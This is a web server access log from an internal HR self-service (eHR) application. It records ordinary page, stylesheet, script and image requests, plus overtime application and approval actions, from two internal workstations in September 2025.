192.168.11.104 - - [06/Sep/2025:11:32:08 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:08 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:08 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:08 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:08 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:08 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:08 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:08 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:32:08 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:32:08 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:32:08 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.81 - - [06/Sep/2025:11:32:06 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6179731045689667 HTTP/1.1" 200 11837 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6179731045689667" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.81 - - [06/Sep/2025:11:32:06 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6179731045689667 HTTP/1.1" 200 11837
192.168.11.104 - - [06/Sep/2025:11:32:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 1143117 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 1143117
192.168.11.81 - - [06/Sep/2025:11:32:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
192.168.11.81 - - [06/Sep/2025:11:32:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062
192.168.11.104 - - [06/Sep/2025:11:32:22 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:22 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:11:32:26 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.104 - - [06/Sep/2025:11:32:26 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10184
192.168.11.104 - - [06/Sep/2025:11:32:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10184 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:34 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:34 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:34 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:34 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:34 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:34 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:34 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:34 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:34 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:34 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:34 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:34 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:34 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:32:34 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:32:34 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:32:34 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:32:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 1143992 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 1143992
192.168.11.104 - - [06/Sep/2025:11:32:49 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:49 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:11:32:49 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.104 - - [06/Sep/2025:11:32:49 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:32:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 -
